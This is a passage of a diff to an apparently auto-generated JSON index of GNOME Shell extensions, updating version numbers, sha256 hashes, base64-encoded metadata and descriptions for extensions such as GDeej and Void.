+    "46": {"version": "12", "sha256": "0zs8zhbd2ry7w9yx2z4ifxd742p8npp1fy7r89ynlalzbl8ikflz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3dzIE5lcGFsaSBkYXRlIGFsb25nIHdpdGggZXZlbnRzIGFuZCBmZXN0aXZhbHMuIiwKICAibmFtZSI6ICJOZXBhbCBDYWxlbmRhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5uZXBhbC1jYWxlbmRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9QdWJsaXNoZXJOYW1lL25lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb24iLAogICJ1dWlkIjogIm5lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb25Ac3ViYXNoZ2hpbWlyZS5pbmZvLm5wIiwKICAidmVyc2lvbiI6IDEyCn0="},
+    "47": {"version": "12", "sha256": "0zs8zhbd2ry7w9yx2z4ifxd742p8npp1fy7r89ynlalzbl8ikflz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3dzIE5lcGFsaSBkYXRlIGFsb25nIHdpdGggZXZlbnRzIGFuZCBmZXN0aXZhbHMuIiwKICAibmFtZSI6ICJOZXBhbCBDYWxlbmRhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5uZXBhbC1jYWxlbmRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9QdWJsaXNoZXJOYW1lL25lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb24iLAogICJ1dWlkIjogIm5lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb25Ac3ViYXNoZ2hpbWlyZS5pbmZvLm5wIiwKICAidmVyc2lvbiI6IDEyCn0="},
+    "48": {"version": "12", "sha256": "0zs8zhbd2ry7w9yx2z4ifxd742p8npp1fy7r89ynlalzbl8ikflz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3dzIE5lcGFsaSBkYXRlIGFsb25nIHdpdGggZXZlbnRzIGFuZCBmZXN0aXZhbHMuIiwKICAibmFtZSI6ICJOZXBhbCBDYWxlbmRhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5uZXBhbC1jYWxlbmRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9QdWJsaXNoZXJOYW1lL25lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb24iLAogICJ1dWlkIjogIm5lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb25Ac3ViYXNoZ2hpbWlyZS5pbmZvLm5wIiwKICAidmVyc2lvbiI6IDEyCn0="}
   }}
 , {"uuid": "bitcoin-price-checker@misfits.dev", "name": "Bitcoin Price Checker", "pname": "bitcoin-price-checker", "description": "Displays the current price of Bitcoin, using the Binance API, and updates every minute.", "link": "https://extensions.gnome.org/extension/7496/bitcoin-price-checker/", "shell_version_map": {
     "42": {"version": "1", "sha256": "1wjlmd8b7c5jjjnqd2d198pb1qw1n137pvk23x110bn9lpzc08cx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXlzIHRoZSBjdXJyZW50IHByaWNlIG9mIEJpdGNvaW4sIHVzaW5nIHRoZSBCaW5hbmNlIEFQSSwgYW5kIHVwZGF0ZXMgZXZlcnkgbWludXRlLiIsCiAgIm5hbWUiOiAiQml0Y29pbiBQcmljZSBDaGVja2VyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL25lb25uMGQvZ25vbWUtYnRjLXByaWNlLWNoZWNrZXIiLAogICJ1dWlkIjogImJpdGNvaW4tcHJpY2UtY2hlY2tlckBtaXNmaXRzLmRldiIsCiAgInZlcnNpb24iOiAxCn0="}
@@ -8715,8 +8741,9 @@
   }}
 , {"uuid": "gdeej@kareraisu.me", "name": "GDeej", "pname": "gdeej", "description": "Control your audio with a DIY volume mixer", "link": "https://extensions.gnome.org/extension/7556/gdeej/", "shell_version_map": {
     "45": {"version": "6", "sha256": "11wrkz2bc2zpdwm9whgrka7z70v9b6ic1q5v5xcwqjs1rza51lwv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgeW91ciBhdWRpbyB3aXRoIGEgRElZIHZvbHVtZSBtaXhlciIsCiAgIm5hbWUiOiAiR0RlZWoiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ2RlZWoiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zb3Nsb293L2dub21lLXNoZWxsLWV4dGVuc2lvbi1nZGVlaiIsCiAgInV1aWQiOiAiZ2RlZWpAa2FyZXJhaXN1Lm1lIiwKICAidmVyc2lvbiI6IDYKfQ=="},
-    "46": {"version": "6", "sha256": "11wrkz2bc2zpdwm9whgrka7z70v9b6ic1q5v5xcwqjs1rza51lwv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgeW91ciBhdWRpbyB3aXRoIGEgRElZIHZvbHVtZSBtaXhlciIsCiAgIm5hbWUiOiAiR0RlZWoiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ2RlZWoiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zb3Nsb293L2dub21lLXNoZWxsLWV4dGVuc2lvbi1nZGVlaiIsCiAgInV1aWQiOiAiZ2RlZWpAa2FyZXJhaXN1Lm1lIiwKICAidmVyc2lvbiI6IDYKfQ=="},
-    "47": {"version": "6", "sha256": "11wrkz2bc2zpdwm9whgrka7z70v9b6ic1q5v5xcwqjs1rza51lwv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgeW91ciBhdWRpbyB3aXRoIGEgRElZIHZvbHVtZSBtaXhlciIsCiAgIm5hbWUiOiAiR0RlZWoiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ2RlZWoiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zb3Nsb293L2dub21lLXNoZWxsLWV4dGVuc2lvbi1nZGVlaiIsCiAgInV1aWQiOiAiZ2RlZWpAa2FyZXJhaXN1Lm1lIiwKICAidmVyc2lvbiI6IDYKfQ=="}
+    "46": {"version": "7", "sha256": "1kv22c5z2q6jvbaymjxmqr7ibgg4pc5hwkmk0yp17wk0wpx6zh2n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgeW91ciBhdWRpbyB3aXRoIGEgRElZIHZvbHVtZSBtaXhlciIsCiAgIm5hbWUiOiAiR0RlZWoiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ2RlZWoiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zb3Nsb293L2dub21lLXNoZWxsLWV4dGVuc2lvbi1nZGVlaiIsCiAgInV1aWQiOiAiZ2RlZWpAa2FyZXJhaXN1Lm1lIiwKICAidmVyc2lvbiI6IDcKfQ=="},
+    "47": {"version": "7", "sha256": "1kv22c5z2q6jvbaymjxmqr7ibgg4pc5hwkmk0yp17wk0wpx6zh2n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgeW91ciBhdWRpbyB3aXRoIGEgRElZIHZvbHVtZSBtaXhlciIsCiAgIm5hbWUiOiAiR0RlZWoiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ2RlZWoiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zb3Nsb293L2dub21lLXNoZWxsLWV4dGVuc2lvbi1nZGVlaiIsCiAgInV1aWQiOiAiZ2RlZWpAa2FyZXJhaXN1Lm1lIiwKICAidmVyc2lvbiI6IDcKfQ=="},
+    "48": {"version": "7", "sha256": "1kv22c5z2q6jvbaymjxmqr7ibgg4pc5hwkmk0yp17wk0wpx6zh2n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgeW91ciBhdWRpbyB3aXRoIGEgRElZIHZvbHVtZSBtaXhlciIsCiAgIm5hbWUiOiAiR0RlZWoiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ2RlZWoiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zb3Nsb293L2dub21lLXNoZWxsLWV4dGVuc2lvbi1nZGVlaiIsCiAgInV1aWQiOiAiZ2RlZWpAa2FyZXJhaXN1Lm1lIiwKICAidmVyc2lvbiI6IDcKfQ=="}
   }}
 , {"uuid": "fullscreen-to-empty-workspace2@corgijan.dev", "name": "Fullscreen to New Workspace", "pname": "fullscreen-to-empty-workspace", "description": "New, maximized and fullscreen windows will be moved to empty workspaces. \n\nBuild because 'maximize to empty workspace' is not supported anymore. \n\nForked from kaiseracm", "link": "https://extensions.gnome.org/extension/7559/fullscreen-to-empty-workspace/", "shell_version_map": {
     "47": {"version": "4", "sha256": "1kyfl809j6j000682wfydkgfv8jypc7qdw1hdks3agpsbimwir2r", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk5ldywgbWF4aW1pemVkIGFuZCBmdWxsc2NyZWVuIHdpbmRvd3Mgd2lsbCBiZSBtb3ZlZCB0byBlbXB0eSB3b3Jrc3BhY2VzLlxuRm9ya2VkIGZyb20gaHR0cHM6Ly9naXRodWIuY29tL2thaXNlcmFjbS9nbm9tZS1zaGVsbC1leHRlbnNpb24tbWF4aW1pemUtdG8tZW1wdHktd29ya3NwYWNlLiIsCiAgIm5hbWUiOiAiRnVsbHNjcmVlbiB0byBFbXB0eSBXb3Jrc3BhY2UyIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmZ1bGxzY3JlZW4tdG8tZW1wdHktd29ya3NwYWNlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2NvcmdpamFuL2Z1bGxzY3JlZW4tdG8tbmV3LXdvcmtzcGFjZSIsCiAgInV1aWQiOiAiZnVsbHNjcmVlbi10by1lbXB0eS13b3Jrc3BhY2UyQGNvcmdpamFuLmRldiIsCiAgInZlcnNpb24iOiA0Cn0="},
@@ -8725,10 +8752,10 @@
 , {"uuid": "netspeed-monitor@ajxv", "name": "Network Speed Monitor", "pname": "network-speed-monitor", "description": "Displays the current network speed on the top bar.", "link": "https://extensions.gnome.org/extension/7565/network-speed-monitor/", "shell_version_map": {
     "46": {"version": "4", "sha256": "05q7cqya9v2dl64bxbmjb9bl6m5l52lz3r49d92fbaf2gpgw1fwl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXlzIHRoZSBjdXJyZW50IG5ldHdvcmsgc3BlZWQgb24gdGhlIHRvcCBiYXIuIiwKICAibmFtZSI6ICJOZXR3b3JrIFNwZWVkIE1vbml0b3IiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYWp4di9uZXRzcGVlZC1tb25pdG9yIiwKICAidXVpZCI6ICJuZXRzcGVlZC1tb25pdG9yQGFqeHYiLAogICJ2ZXJzaW9uIjogNAp9"}
   }}
-, {"uuid": "void@fthx", "name": "Void", "pname": "void", "description": "Hide top panel. Overview and top panel are triggered at the bottom edge. Panel lock button.\n\n Very light extension.", "link": "https://extensions.gnome.org/extension/7571/void/", "shell_version_map": {
-    "46": {"version": "11", "sha256": "1i83g84dydmzlbbrm1lzlxxjf0aikyy8c3m9vnh8ysg8j67hyrcq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk92ZXJ2aWV3IGFuZCB0b3AgcGFuZWwgYXJlIHRyaWdnZXJlZCBhdCB0aGUgYm90dG9tIGVkZ2UuIFBhbmVsIGxvY2sgYnV0dG9uLlxuXG4gVmVyeSBsaWdodCBleHRlbnNpb24uIiwKICAibmFtZSI6ICJWb2lkIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZnRoeC92b2lkIiwKICAidXVpZCI6ICJ2b2lkQGZ0aHgiLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
-    "47": {"version": "11", "sha256": "1i83g84dydmzlbbrm1lzlxxjf0aikyy8c3m9vnh8ysg8j67hyrcq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk92ZXJ2aWV3IGFuZCB0b3AgcGFuZWwgYXJlIHRyaWdnZXJlZCBhdCB0aGUgYm90dG9tIGVkZ2UuIFBhbmVsIGxvY2sgYnV0dG9uLlxuXG4gVmVyeSBsaWdodCBleHRlbnNpb24uIiwKICAibmFtZSI6ICJWb2lkIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZnRoeC92b2lkIiwKICAidXVpZCI6ICJ2b2lkQGZ0aHgiLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
-    "48": {"version": "11", "sha256": "1i83g84dydmzlbbrm1lzlxxjf0aikyy8c3m9vnh8ysg8j67hyrcq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk92ZXJ2aWV3IGFuZCB0b3AgcGFuZWwgYXJlIHRyaWdnZXJlZCBhdCB0aGUgYm90dG9tIGVkZ2UuIFBhbmVsIGxvY2sgYnV0dG9uLlxuXG4gVmVyeSBsaWdodCBleHRlbnNpb24uIiwKICAibmFtZSI6ICJWb2lkIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZnRoeC92b2lkIiwKICAidXVpZCI6ICJ2b2lkQGZ0aHgiLAogICJ2ZXJzaW9uIjogMTEKfQ=="}
+, {"uuid": "void@fthx", "name": "Void", "pname": "void", "description": "Hide top panel except in overview.\n\n If the hot corner is disabled in GNOME Control Center, overview is triggered at the bottom edge. Panel lock button.\n\n Very light extension.", "link": "https://extensions.gnome.org/extension/7571/void/", "shell_version_map": {
+    "46": {"version": "12", "sha256": "1vaclpz23i03dhz1r05v66bkdimh7qkkrkkwxjk379c4gjldf3pp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUgdG9wIHBhbmVsIGV4Y2VwdCBpbiBvdmVydmlldy5cblxuIElmIHRoZSBob3QgY29ybmVyIGlzIGRpc2FibGVkIGluIEdOT01FIENvbnRyb2wgQ2VudGVyLCBvdmVydmlldyBpcyB0cmlnZ2VyZWQgYXQgdGhlIGJvdHRvbSBlZGdlLiBQYW5lbCBsb2NrIGJ1dHRvbi5cblxuIFZlcnkgbGlnaHQgZXh0ZW5zaW9uLiIsCiAgIm5hbWUiOiAiVm9pZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2Z0aHgvdm9pZCIsCiAgInV1aWQiOiAidm9pZEBmdGh4IiwKICAidmVyc2lvbiI6IDEyCn0="},
+    "47": {"version": "12", "sha256": "1vaclpz23i03dhz1r05v66bkdimh7qkkrkkwxjk379c4gjldf3pp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUgdG9wIHBhbmVsIGV4Y2VwdCBpbiBvdmVydmlldy5cblxuIElmIHRoZSBob3QgY29ybmVyIGlzIGRpc2FibGVkIGluIEdOT01FIENvbnRyb2wgQ2VudGVyLCBvdmVydmlldyBpcyB0cmlnZ2VyZWQgYXQgdGhlIGJvdHRvbSBlZGdlLiBQYW5lbCBsb2NrIGJ1dHRvbi5cblxuIFZlcnkgbGlnaHQgZXh0ZW5zaW9uLiIsCiAgIm5hbWUiOiAiVm9pZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2Z0aHgvdm9pZCIsCiAgInV1aWQiOiAidm9pZEBmdGh4IiwKICAidmVyc2lvbiI6IDEyCn0="},
+    "48": {"version": "12", "sha256": "1vaclpz23i03dhz1r05v66bkdimh7qkkrkkwxjk379c4gjldf3pp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUgdG9wIHBhbmVsIGV4Y2VwdCBpbiBvdmVydmlldy5cblxuIElmIHRoZSBob3QgY29ybmVyIGlzIGRpc2FibGVkIGluIEdOT01FIENvbnRyb2wgQ2VudGVyLCBvdmVydmlldyBpcyB0cmlnZ2VyZWQgYXQgdGhlIGJvdHRvbSBlZGdlLiBQYW5lbCBsb2NrIGJ1dHRvbi5cblxuIFZlcnkgbGlnaHQgZXh0ZW5zaW9uLiIsCiAgIm5hbWUiOiAiVm9pZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2Z0aHgvdm9pZCIsCiAgInV1aWQiOiAidm9pZEBmdGh4IiwKICAidmVyc2lvbiI6IDEyCn0="}
   }}
 , {"uuid": "unpanel@fthx", "name": "Unpanel", "pname": "unpanel", "description": "Hide top panel when a window is maximized.\n\n You can still access hidden (1px) panel items.", "link": "https://extensions.gnome.org/extension/7574/unpanel/", "shell_version_map": {
     "46": {"version": "1", "sha256": "0qfa0nxf8zxp5l04pxiri9ds0r84jvldkywr6jrbl6nf0v3z7d4p", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUgdG9wIHBhbmVsIHdoZW4gYSB3aW5kb3cgaXMgbWF4aW1pemVkLlxuXG4gWW91IGNhbiBzdGlsbCBhY2Nlc3MgaGlkZGVuICgxcHgpIHBhbmVsIGl0ZW1zLiIsCiAgIm5hbWUiOiAiVW5wYW5lbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZnRoeC91bnBhbmVsIiwKICAidXVpZCI6ICJ1bnBhbmVsQGZ0aHgiLAogICJ2ZXJzaW9uIjogMQp9"},
@@ -8770,10 +8797,10 @@
     "48": {"version": "3", "sha256": "0v6sxs9hm9dgcvvfnhapslgj7kb66rfja70ifcpg3jnxa9y5sizc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vdmUgd2luZG93cyB0byB0aGUgbmV4dCB3b3Jrc3BhY2UgYnkgcmlnaHQtY2xpY2tpbmcgdGhlbSBpbiB0aGUgb3ZlcnZpZXcuIiwKICAibmFtZSI6ICJSaWdodCBDbGljayBOZXh0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2RlclZlZHJvL2dub21lLXJpZ2h0LWNsaWNrLW5leHQiLAogICJ1dWlkIjogInJpZ2h0LWNsaWNrLW5leHRAZGVyVmVkcm8iLAogICJ2ZXJzaW9uIjogMwp9"}
   }}
 , {"uuid": "advanced-weather@sanjai.com", "name": "Advanced Weather Companion", "pname": "advanced-weather-companion", "description": "Advanced weather extension with comprehensive features:\n- Dynamic location detection\n- Manual location override\n- Temperature unit selection\n- Weather insights and trend analysis\n- Extreme weather alerts\n- Hourly and daily forecasts", "link": "https://extensions.gnome.org/extension/7603/advanced-weather-companion/", "shell_version_map": {
-    "45": {"version": "12", "sha256": "173l56lgcpqbk53cqfgwlxvrl3rmcqaml6ghrw20hfdk3pnnnwq4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkdmFuY2VkIHdlYXRoZXIgZXh0ZW5zaW9uIHdpdGggY29tcHJlaGVuc2l2ZSBmZWF0dXJlczpcbi0gRHluYW1pYyBsb2NhdGlvbiBkZXRlY3Rpb25cbi0gTWFudWFsIGxvY2F0aW9uIG92ZXJyaWRlXG4tIFRlbXBlcmF0dXJlIHVuaXQgc2VsZWN0aW9uXG4tIFdlYXRoZXIgaW5zaWdodHMgYW5kIHRyZW5kIGFuYWx5c2lzXG4tIEV4dHJlbWUgd2VhdGhlciBhbGVydHNcbi0gSG91cmx5IGFuZCBkYWlseSBmb3JlY2FzdHMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJhZHZhbmNlZC13ZWF0aGVyIiwKICAibmFtZSI6ICJBZHZhbmNlZCBXZWF0aGVyIENvbXBhbmlvbiIsCiAgInByZWZlcmVuY2VzIjogInByZWZzLmpzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFkdmFuY2VkLXdlYXRoZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vU2FuamFpLVNoYWFydWdlc2gvQWR2YW5jZWQtV2VhdGhlci1Db21wYW5pb24iLAogICJ1dWlkIjogImFkdmFuY2VkLXdlYXRoZXJAc2FuamFpLmNvbSIsCiAgInZlcnNpb24iOiAxMgp9"},
-    "46": {"version": "12", "sha256": "173l56lgcpqbk53cqfgwlxvrl3rmcqaml6ghrw20hfdk3pnnnwq4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkdmFuY2VkIHdlYXRoZXIgZXh0ZW5zaW9uIHdpdGggY29tcHJlaGVuc2l2ZSBmZWF0dXJlczpcbi0gRHluYW1pYyBsb2NhdGlvbiBkZXRlY3Rpb25cbi0gTWFudWFsIGxvY2F0aW9uIG92ZXJyaWRlXG4tIFRlbXBlcmF0dXJlIHVuaXQgc2VsZWN0aW9uXG4tIFdlYXRoZXIgaW5zaWdodHMgYW5kIHRyZW5kIGFuYWx5c2lzXG4tIEV4dHJlbWUgd2VhdGhlciBhbGVydHNcbi0gSG91cmx5IGFuZCBkYWlseSBmb3JlY2FzdHMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJhZHZhbmNlZC13ZWF0aGVyIiwKICAibmFtZSI6ICJBZHZhbmNlZCBXZWF0aGVyIENvbXBhbmlvbiIsCiAgInByZWZlcmVuY2VzIjogInByZWZzLmpzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFkdmFuY2VkLXdlYXRoZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vU2FuamFpLVNoYWFydWdlc2gvQWR2YW5jZWQtV2VhdGhlci1Db21wYW5pb24iLAogICJ1dWlkIjogImFkdmFuY2VkLXdlYXRoZXJAc2FuamFpLmNvbSIsCiAgInZlcnNpb24iOiAxMgp9"},
-    "47": {"version": "12", "sha256": "173l56lgcpqbk53cqfgwlxvrl3rmcqaml6ghrw20hfdk3pnnnwq4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkdmFuY2VkIHdlYXRoZXIgZXh0ZW5zaW9uIHdpdGggY29tcHJlaGVuc2l2ZSBmZWF0dXJlczpcbi0gRHluYW1pYyBsb2NhdGlvbiBkZXRlY3Rpb25cbi0gTWFudWFsIGxvY2F0aW9uIG92ZXJyaWRlXG4tIFRlbXBlcmF0dXJlIHVuaXQgc2VsZWN0aW9uXG4tIFdlYXRoZXIgaW5zaWdodHMgYW5kIHRyZW5kIGFuYWx5c2lzXG4tIEV4dHJlbWUgd2VhdGhlciBhbGVydHNcbi0gSG91cmx5IGFuZCBkYWlseSBmb3JlY2FzdHMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJhZHZhbmNlZC13ZWF0aGVyIiwKICAibmFtZSI6ICJBZHZhbmNlZCBXZWF0aGVyIENvbXBhbmlvbiIsCiAgInByZWZlcmVuY2VzIjogInByZWZzLmpzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFkdmFuY2VkLXdlYXRoZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vU2Fu